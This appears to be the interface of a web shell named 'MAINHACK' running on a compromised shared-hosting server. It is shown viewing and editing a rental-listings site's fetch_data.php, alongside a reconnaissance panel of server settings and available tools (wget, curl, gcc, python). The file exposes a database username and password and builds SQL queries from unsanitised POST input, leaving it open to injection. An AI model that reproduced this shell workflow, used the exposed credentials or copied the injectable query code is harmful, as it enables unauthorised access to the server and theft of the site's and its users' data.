[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fetch_data.php
<?php include 'settings/settings.php'; $connect = new PDO("mysql:host=localhost;dbname=itsweb_yaad","itsweb_yaad","hackit_321"); if(isset($_POST["action"])) { $query = " SELECT * FROM apartment left join apartment_amenity on apartment.apartment_id=apartment_amenity.apart_id left join apartment_nearby on apartment.apartment_id=apartment_nearby.apart_id left join apartment_tenant on apartment.apartment_id=apartment_tenant.apart_id where status='ACTIVE' and category='tenant'"; if(($_POST['city'])!=NULL){ $query .="AND city ='".$_POST['city']."' "; } if(($_POST['type'])!=NULL){ $query .=" AND property_type ='".$_POST['type']."' "; } if(($_POST['bedroom'])!=NULL){ $query .=" AND total_bedroom ='".$_POST['bedroom']."' "; } if(($_POST['bathroom'])!=NULL){ $query .=" AND total_bathroom ='".$_POST['bathroom']."' "; } if(($_POST['furnishing'])!=NULL){ // $storage_filter = implode("','", $_POST["category"]); $query .=" AND furnishing='".$_POST['furnishing']."'"; } if(($_POST['amenity'])!=NULL){ $storage_filter = implode("','", $_POST["amenity"]); $query .=" AND apartment_amenity.amenity IN ('".$storage_filter."')"; } if(($_POST['nearby_amenity'])!=NULL){ $storage_filter = implode("','", $_POST["nearby_amenity"]); $query .=" AND apartment_nearby.amenity IN ('".$storage_filter."')"; } if(($_POST['tenant_profile'])!=NULL){ $storage_filter = implode("','", $_POST["tenant_profile"]); $query .=" AND apartment_tenant.amenity IN ('".$storage_filter."')"; } /* if(($_POST['amenity'])!=NULL){ $storage_filter = implode("','", $_POST["amenity"]); $query .=" AND amenities IN ('".$storage_filter."')"; } /* if(isset($_POST["minimum_price"], $_POST["maximum_price"]) && !empty($_POST["minimum_price"]) && !empty($_POST["maximum_price"])) { $query .= " AND price BETWEEN ".$_POST["minimum_price"]." AND ".$_POST["maximum_price"]." "; } */ $query .="group by apartment.apartment_id order by apartment.id desc"; //echo $query; $statement = $connect->prepare($query); $statement->execute(); $result = $statement->fetchAll(); $total_row = $statement->rowCount(); $output = ''; //echo $query; if($total_row > 0) { foreach($result as $key=>$value) { $img=$result[$key]['image']==''?'logo.png':$result[$key]['image']; ?> <script> function book(val,val1){ // alert(val); var session_val=val; if(session_val!=''){ window.location.href="single-property.php?apt_id="+val1; }else{ setTimeout(function() { swal({ title: "Oops ", text: "Please login to continue.", type: "error" }, function() { window.location = ""; }); }, 1000); } } </script> <?php $val1="'".$result[$key]['apartment_id']."'";$val="'".$_SESSION['user_id']."'"; $output .= ' <div class="col-md-6 col-sm-6 col-xs-12"> <a onclick="book('.$val.','.$val1.')"> <div class="properties-list-block-box"> <div class="flatmate-images"> <img src="'.$pic_img.'/'.$result[$key]['image1'].'"> </div> <div class="properties-list-dec"> <h4>'.$result[$key]['name'].'</h4> <p><i class="fa-solid fa-location-dot"></i>'.$result[$key]['address'].', '.$result[$key]['city'].', '.$result[$key]['state'].', '.$result[$key]['pincode'].'</p> <ul> <li><span>Rent</span>₹ '.$result[$key]['rent'].'</li> </ul> </div> <div class="properties-view-btn"> <a onclick="book('.$val.','.$val1.')" class="view-btn">View More</a> </div> </div> </a> </div> '; } }else { $output = '<h3>No Data Found</h3>'; } echo $output; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619